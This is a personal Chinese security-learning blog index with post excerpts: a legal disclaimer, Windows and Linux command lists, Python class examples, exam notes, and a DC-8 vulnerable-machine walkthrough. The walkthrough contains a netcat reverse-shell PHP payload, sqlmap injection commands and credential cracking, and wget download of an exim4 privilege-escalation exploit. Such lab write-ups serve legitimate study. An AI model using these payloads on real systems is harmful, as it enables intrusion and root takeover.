跳至主要內容
Welcome to Juan's blog.

Welcome to Juan's blog.

穿梭于网络世界，行走在人群之中。

免责声明

最后更新日期：2025年02月23日
管辖法律：中华人民共和国法律

⛔ 高危行为特别警示

  1. 未经授权的渗透测试行为

    • 根据《中华人民共和国刑法》第285条，任何未经授权侵入计算机信息系统、干扰系统功能或非法获取数据的行为，可能构成 非法侵入计算机信息系统罪，最高可处七年有期徒刑27。
    • 《网络安全法》第27条明确禁止提供专门用于侵入网络的工具或技术支持，违者将承担连带责任1。

  2. 漏洞利用与数据窃取

    • 根据《数据安全法》第32条，发现数据安全漏洞应立即向主管部门报告，擅自利用漏洞窃取数据可能构成 危害数据安全罪5。
    • 《刑法》第286条规定，故意传播破坏性程序（如病毒、木马）导致系统瘫痪的，最高可处五年有期徒刑3。
卷卷2025/2/23大约 4 分钟
产品
卷卷2025/5/26小于 1 分钟
windows快捷命令

1. 系统管理

命令 功能说明 示例场景
​msconfig​ 系统配置（启动项、服务管理） 禁用开机自启动程序
​devmgmt.msc​ 设备管理器 检查硬件驱动状态
​diskmgmt.msc​ 磁盘管理 分区调整、磁盘初始化
​services.msc​ 服务管理 启停服务（如Windows Update）
​eventvwr.msc​ 事件查看器 查看系统/应用日志
​gpedit.msc​ 组策略编辑器 配置安全策略、权限控制
​lusrmgr.msc​ 本地用户和组管理 创建/删除用户账号
​​dxdiag​​ DirectX 诊断工具 排查硬件驱动信息，查看系统、显示、声音、输入信息
​​msinfo32​​ 系统信息工具 提供 全面的系统软硬件配置详情，硬件资源、组件、软件环境
卷卷原创2025/3/27大约 2 分钟计网基础windowscmd运行命令
DC-8靶机

  1. 主机扫描使用arp-scan扫描工具 --localnet 扫描本地网络

    image

    ​.1​（通常是网关或路由器的地址）和.255​（广播地址）。而.254​ 经常被用作子网内的一个特殊设备（如DHCP服务器）的地址，但这不是一个固定的规则.

  2. 使用Nmap端口扫描 -sV：探测开放端口以确定服务/版本信息；

    ​ ​-p-​ ​：这个选项告诉 Nmap 扫描目标上所有可能的端口（从 1 到 65535）。默认情况下，Nmap 只会扫描一些常见的端口，但使用 -p-​ 选项可以确保扫描所有端口

    image

  3. 使用dirsearch扫描目录 python3 dirsearch.py -u [target_url] # 攻击目标url地址

    dirsearch -u 192.18.142 -e * -x 403 --random-agent

    ​-e *​ 参数表示使用所有内置的扩展名列表进行扫描

    ​--random-agent​ 在请求时使用随机的用户代理字符串，这有助于绕过一些基于用户代理的访问控制或日志记录。

    ​-x 403​ 参数在这里可能是想排除状态码为 403 Forbidden 的响应。

    image

  4. 访问网站

    image

  5. 发现注入点

    image

  6. sqlmap扫描

    image

  7. 发现存在注入

    布尔盲注、报错注入、时间盲注、联合查询

    image

  8. 扫描数据库

    sqlmap -u "http://192.168.18.142/?nid=1" -dbs

    image
    image

  9. 根据数据库名扫描表

    sqlmap -u "http://192.168.18.142/?nid=1" -D d7db -tables

    image
    image

  10. 扫描users表

    image

    得到后台账密

    image

  11. 将密码复制出来保存到adpass.txt和johnpass.txt文件中，然后使用john工具进行爆破

    image

  12. 得到账户john的密码为turtle，账户admin的密码无法爆破

    使用dirb命令dirb http://192.168.18.142​ 扫描网站目录和文件

    dirb http://192.168.18.142

    image

    robots.txt

    是一个纯文本文件，在这个文件中网站管理者可以声明该网站中不想被robots访问的部分，robots.txt 文件规定了搜索引擎抓取工具可以访问您网站上的哪些网址。或者指定搜索引擎只收录指定的内容。

    当一个搜索机器人（有的叫搜索蜘蛛）访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt

  13. 登录上方页面找到登录地址

    image

  14. 根据地址找到登录页面并登录

    image

  15. 然后将反弹shell的命令 <?php system("nc -e /bin/bash 192.168.172.131 1234"); ?> IP地址为kali的IP地址 nc反向shell

    System()函数的主要功能是在系统权限允许的情况是执行系统命令

  16. 监听靶机

    image

  17. 然后回到网站contact us的view页面，随便输入一些信息然后点击【submit】就可以反弹回shell

    image
  18. image

  19. 此时的shell不是交互式shell，所以使用命令python -c "import pty; pty.spawn('/bin/bash')"​获取一个交互式的shell

    image

  20. 查看可以用于suid提权的命令 find / -user root -perm -4000 -print 2>/dev/null​ ★★

    • ​find /​：find​命令用于在目录树中搜索文件，并可以对搜索结果执行操作。这里的/​表示从根目录开始搜索整个系统。
    • ​-user root​：这个选项告诉find​命令只查找属于用户root​​​的文件。root​是Linux系统中的超级用户，拥有对系统的完全访问权限。
    • ​-perm -4000​：这个选项用于查找具有特定权限的文件。-perm​后面跟的数字或符号表示文件的权限。在这里，-4000​是一个特殊的权限位，它代表设置用户ID（SUID）权限。当一个可执行文件具有SUID权限时，用户执行该文件时将以文件所有者的身份运行（在这个例子中是root​）。这允许普通用户执行通常需要更高权限的操作。然
    • ​-print​：​find​​命令默认会将找到的文件名输出到标准输出（通常是屏幕）。​​-print​​选项实际上在这里是隐式的，但明确写出来可以增强命令的可读性。它告诉find​命令打印出找到的每个文件的路径。
    • ​2>/dev/null​：★★★这部分是重定向的一部分，用于处理错误消息。在shell中，2​​​​ 代表标准错误（stderr），而>​是重定向操作符。/dev/null​​​​ 是一个特殊的设备文件，通常被称为“空设备”或“黑洞”。写入它的任何数据都会被丢弃，读取它时通常立即返回文件结束。因此，2>/dev/null​的意思是将所有标准错误输出重定向到/dev/null​​​，这样就不会在屏幕上显示任何错误信息了。这对于忽略那些由于权限不足而无法访问的目录的错误消息特别有用。
    image

  21. 发现一个比较奇怪的命令exim4，先查看一下命令版本 /usr/sbin/exim4 --version​

    image

  22. ​searchsploit exim 4​ 搜索可以利用的提权方法 选择使用46996.sh

    image

  23. 使用靶机的wget命令将该脚本下载到靶机中，先将kali机的apache服务开启，命令service apache2 start​

    image

  24. 将攻击脚本文件复制到Apache服务的根目录/var/www/html下，命令cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/exp.sh​

    image

  25. 在kali中使用set ff=unix，告诉编译器，使用unix换行符，否则会无法使用脚本

    image
    image

  26. 在靶机反弹回来的shell处使用命令wget http://192.168.172.131/exp.sh​将脚本下载到靶机中

    由于前面目录没有权限所以换目录下载

    image
    image

  27. 成功将exp.sh下载到靶机中，但是发现没有执行权限，使用命令chmod +x exp.sh​赋予脚本执行权限，并使用命令./exp.sh -m netcat​来执行脚本

    image
    image

  28. 提权成功，跳转到/root目录下即可查看flag

    image
卷卷原创2025/3/27大约 6 分钟靶机靶机
Metasploitable3下载与安装

一、Vagrant下载与安装

Vagrant是一个基于Ruby的工具，​用于创建和部署虚拟化开发环境​。它使用Oracle的开源VirtualBox虚拟化系统，使用Chef创建自动化虚拟环境。

卷卷原创2025/3/13大约 2 分钟渗透测试靶场搭建
python高级特性_1

1.面向对象

from types import new_class


class Student:
    student_num = 0  # 在类下面定义的变量为类变量

    def __init__(self,name,sex):  #构造方法，也就是构造函数，是用来初始化对象的。在构造函数中定义的变量，通常指的是在构造函数内部声明的变量
        self.name = name
        self.sex = sex
        # self.student_num += 1
        Student.student_num += 1 #通过类名来访问，每创建一个学生，学生数量+1

    @classmethod #类方法使用使用装饰器classmethod
    def add_student(cls,add_num):  # 类方法的第一个参数需要类本身,可以访问到类方法类变量
        cls.student_num += add_num

    @classmethod
    def from_string(cls,info):  # 使用类方法代替构造方法是一种常用的方法
        name,sex = info.split(' ')
        return cls(name,sex)

    @staticmethod # 静态方法 寄宿在类里不能访问类里的内容，但需要在类里面
    def name_len(name):
        return len(name)

s1 =  Student('Qiqi','Female')
s2 = Student.from_string('Qiqi Female')
print(f'Student.student_num:{Student.student_num}')
print(f's1.student_num:{s1.student_num}')
print(f's2.name:{s2.name},s2.name.len:{Student.name_len(s2.name)}')
卷卷原创2025/3/8大约 7 分钟pythonpython高级特性
常用的shell脚本

⌨️ Linux 命令

学习shell的第一步：当然是从Linux命令入手了。

⭐常用 150 个Linux命令⭐

命令 功能说明
线上查询及帮助命令 (2 个)
man 查看命令帮助，命令的词典，更复杂的还有 info，但不常用。
help 查看 Linux 内置命令的帮助，比如 cd 命令。
文件和目录操作命令 (18 个)
ls 全拼 list，功能是列出目录的内容及其内容属性信息。
cd 全拼 change directory，功能是从当前工作目录切换到指定的工作目录。
cp 全拼 copy，其功能为复制文件或目录。
find 查找的意思，用于查找目录及目录下的文件。
mkdir 全拼 make directories，其功能是创建目录。
mv 全拼 move，其功能是移动或重命名文件。
pwd 全拼 print working directory，其功能是显示当前工作目录的绝对路径。
rename 用于重命名文件。
rm 全拼 remove，其功能是删除一个或多个文件或目录。
rmdir 全拼 remove empty directories，功能是删除空目录。
touch 创建新的空文件，改变已有文件的时间戳属性。
tree 功能是以树形结构显示目录下的内容。
basename 显示文件名或目录名。
dirname 显示文件或目录路径。
chattr 改变文件的扩展属性。
lsattr 查看文件扩展属性。
file 显示文件的类型。
md5sum 计算和校验文件的 MD5 值。
查看文件及内容处理命令（21 个）
cat 全拼 concatenate，功能是用于连接多个文件并且打印到屏幕输出或重定向到指定文件中。
tac tac 是 cat 的反向拼写，因此命令的功能为反向显示文件内容。
more 分页显示文件内容。
less 分页显示文件内容，more 命令的相反用法。
head 显示文件内容的头部。
tail 显示文件内容的尾部。
cut 将文件的每一行按指定分隔符分割并输出。
split 分割文件为不同的小片段。
paste 按行合并文件内容。
sort 对文件的文本内容排序。
uniq 去除重复行。oldboy
wc 统计文件的行数、单词数或字节数。
iconv 转换文件的编码格式。
dos2unix 将 DOS 格式文件转换成 UNIX 格式。
diff 全拼 difference，比较文件的差异，常用于文本文件。
vimdiff 命令行可视化文件比较工具，常用于文本文件。
rev 反向输出文件内容。
grep/egrep 过滤字符串，三剑客老三。
join 按两个文件的相同字段合并。
tr 替换或删除字符。
vi/vim 命令行文本编辑器。
文件压缩及解压缩命令（4 个）
tar 打包压缩。oldboy
unzip 解压文件。
gzip gzip 压缩工具。
zip 压缩工具。
信息显示命令（11 个）
uname 显示操作系统相关信息的命令。
hostname 显示或者设置当前系统的主机名。
dmesg 显示开机信息，用于诊断系统故障。
uptime 显示系统运行时间及负载。
stat 显示文件或文件系统的状态。
du 计算磁盘空间使用情况。
df 报告文件系统磁盘空间的使用情况。
top 实时显示系统资源使用情况。
free 查看系统内存。
date 显示与设置系统时间。
cal 查看日历等时间信息。
搜索文件命令（4 个）
which 查找二进制命令，按环境变量 PATH 路径查找。
find 从磁盘遍历查找文件或目录。
whereis 查找二进制命令，按环境变量 PATH 路径查找。
locate 从数据库 (/var/lib/mlocate/mlocate.db) 查找命令，使用 updatedb 更新库。
用户管理命令（10 个）
useradd 添加用户。
usermod 修改系统已经存在的用户属性。
userdel 删除用户。
groupadd 添加用户组。
passwd 修改用户密码。
chage 修改用户密码有效期限。
id 查看用户的 uid,gid 及归属的用户组。
su 切换用户身份。
visudo 编辑 / etc/sudoers 文件的专属命令。
sudo 以另外一个用户身份（默认 root 用户）执行事先在 sudoers 文件允许的命令。
基础网络操作命令（11 个）
telnet 使用 TELNET 协议远程登录。
ssh 使用 SSH 加密协议远程登录。
scp 全拼 secure copy，用于不同主机之间复制文件。
wget 命令行下载文件。
ping 测试主机之间网络的连通性。
route 显示和设置 linux 系统的路由表。
ifconfig 查看、配置、启用或禁用网络接口的命令。
ifup 启动网卡。
ifdown 关闭网卡。
netstat 查看网络状态。
ss 查看网络状态。
深入网络操作命令（9 个）
nmap 网络扫描命令。
lsof 全名 list open files，也就是列举系统中已经被打开的文件。
mail 发送和接收邮件。
mutt 邮件管理命令。
nslookup 交互式查询互联网 DNS 服务器的命令。
dig 查找 DNS 解析过程。
host 查询 DNS 的命令。
traceroute 追踪数据传输路由状况。
tcpdump 命令行的抓包工具。
有关磁盘与文件系统的命令（16 个）
mount 挂载文件系统。
umount 卸载文件系统。
fsck 检查并修复 Linux 文件系统。
dd 转换或复制文件。
dumpe2fs 导出 ext2/ext3/ext4 文件系统信息。
dump ext2/3/4 文件系统备份工具。
fdisk 磁盘分区命令，适用于 2TB 以下磁盘分区。
parted 磁盘分区命令，没有磁盘大小限制，常用于 2TB 以下磁盘分区。
mkfs 格式化创建 Linux 文件系统。
partprobe 更新内核的硬盘分区表信息。
e2fsck 检查 ext2/ext3/ext4 类型文件系统。
mkswap 创建 Linux 交换分区。
swapon 启用交换分区。
swapoff 关闭交换分区。
sync 将内存缓冲区内的数据写入磁盘。
resize2fs 调整 ext2/ext3/ext4 文件系统大小。
系统权限及用户授权相关命令（4 个）
chmod 改变文件或目录权限。
chown 改变文件或目录的属主和属组。
chgrp 更改文件用户组。
umask 显示或设置权限掩码。
查看系统用户登陆信息的命令（7 个）
whoami 显示当前有效的用户名称，相当于执行 id -un 命令。
who 显示目前登录系统的用户信息。
w 显示已经登陆系统的用户列表，并显示用户正在执行的指令。
last 显示登入系统的用户。
lastlog 显示系统中所有用户最近一次登录信息。
users 显示当前登录系统的所有用户的用户列表。
finger 查找并显示用户信息。
内置命令及其它（19 个）
echo 打印变量，或直接输出指定的字符串
printf 将结果格式化输出到标准输出。
rpm 管理 rpm 包的命令。
yum 自动化简单化地管理 rpm 包的命令。
watch 周期性的执行给定的命令，并将命令的输出以全屏方式显示。
alias 设置系统别名。
unalias 取消系统别名。
date 查看或设置系统时间。
clear 清除屏幕，简称清屏。
history 查看命令执行的历史纪录。
eject 弹出光驱。
time 计算命令执行时间。
nc 功能强大的网络工具。
xargs 将标准输入转换成命令行参数。
exec 调用并执行指令的命令。
export 设置或者显示环境变量。
unset 删除变量或函数。
type 用于判断另外一个命令是否是内置命令。
bc 命令行科学计算器
系统管理与性能监视命令 (9 个)
chkconfig 管理 Linux 系统开机启动项。
vmstat 虚拟内存统计。
mpstat 显示各个可用 CPU 的状态统计。
iostat 统计系统 IO。
sar 全面地获取系统的 CPU、运行队列、磁盘 I/O、分页（交换区）、内存、 CPU 中断和网络等性能数据。
ipcs 用于报告 Linux 中进程间通信设施的状态，显示的信息包括消息列表、共享内存和信号量的信息。
ipcrm 用来删除一个或更多的消息队列、信号量集或者共享内存标识。
strace 用于诊断、调试 Linux 用户空间跟踪器。我们用它来监控用户空间进程和内核的交互，比如系统调用、信号传递、进程状态变更等。
ltrace 命令会跟踪进程的库函数调用, 它会显现出哪个库函数被调用。
关机 / 重启 / 注销和查看系统信息的命令（6 个）
shutdown 关机。
halt 关机。
poweroff 关闭电源。
logout 退出当前登录的 Shell。
exit 退出当前登录的 Shell。
Ctrl+d 退出当前登录的 Shell 的快捷键。
进程管理相关命令（15 个）
bg 将一个在后台暂停的命令，变成继续执行 （在后台执行）。
fg 将后台中的命令调至前台继续运行。
jobs 查看当前有多少在后台运行的命令。
kill 终止进程。
killall 通过进程名终止进程。
pkill 通过进程名终止进程。
crontab 定时任务命令。
ps 显示进程的快照。
pstree 树形显示进程。
nice/renice 调整程序运行的优先级。
nohup 忽略挂起信号运行指定的命令。
pgrep 查找匹配条件的进程。
runlevel 查看系统当前运行级别。
init 切换运行级别。
service 启动、停止、重新启动和关闭系统服务，还可以显示所有系统服务的当前状态。
卷卷原创2025/3/8大约 13 分钟计网基础计网基础Linux命令
软考笔记

CMM（能力成熟度模型）

五个阶段——非正式执行、计划跟踪、充分定义、量化控制、持续优化，与常见的CMM模型中的五个等级（初始级、可重复级、已定义级、已管理级、优化级）在表述上有所不同，但本质上描述了类似的软件过程改进路径

  • 非正式执行：
    这个阶段类似于CMM中的“初始级”。在这个阶段，软件开发过程往往是不规范的，缺乏系统的管理和监控。软件开发主要依赖于开发人员的个人经验和技能，项目成功的不确定性较大。
    在这个阶段，组织可能还没有形成明确的软件开发流程和质量标准，项目的执行往往是随意的，缺乏统一的规划和协调。
  • 计划跟踪：
    这个阶段类似于CMM中的“可重复级”。在这个阶段，组织开始建立基本的软件开发流程和管理制度，以确保项目能够按照预定的计划进行。
    组织会制定项目计划，并对项目的进度、成本和质量进行跟踪和监控。同时，组织也会开始积累项目经验，以便在未来的项目中复用。
  • 充分定义：
    这个阶段类似于CMM中的“已定义级”。在这个阶段，组织已经制定了详细的软件开发流程和质量标准，并将其集成到一个协调的整体中。
    所有的开发项目都会遵循这些流程和标准，以确保项目的质量和一致性。同时，组织也会开始对软件开发过程进行量化分析，以进一步改进和优化过程。
  • 量化控制：
    这个阶段类似于CMM中的“已管理级”。在这个阶段，组织已经建立了完善的软件开发过程管理体系，并对过程进行了量化控制。
    组织会收集和分析软件开发过程中的各种数据，如过程指标、质量指标等，以了解过程的性能和问题所在。同时，组织也会根据这些数据制定针对性的改进措施，以进一步提高过程的质量和效率。
  • 持续优化：
    这个阶段类似于CMM中的“优化级”。在这个阶段，组织已经将软件开发过程视为一个持续改进的过程，并致力于不断优化和改进过程。
    组织会定期回顾和分析软件开发过程的性能和问题，并根据分析结果制定长期的改进计划。同时，组织也会鼓励员工积极参与改进活动，提出创新性的改进建议，以推动过程的持续优化和改进。
卷卷原创2025/3/7大约 12 分钟软考软考笔记
生命不息，奋斗不止！
© 2020-present Juan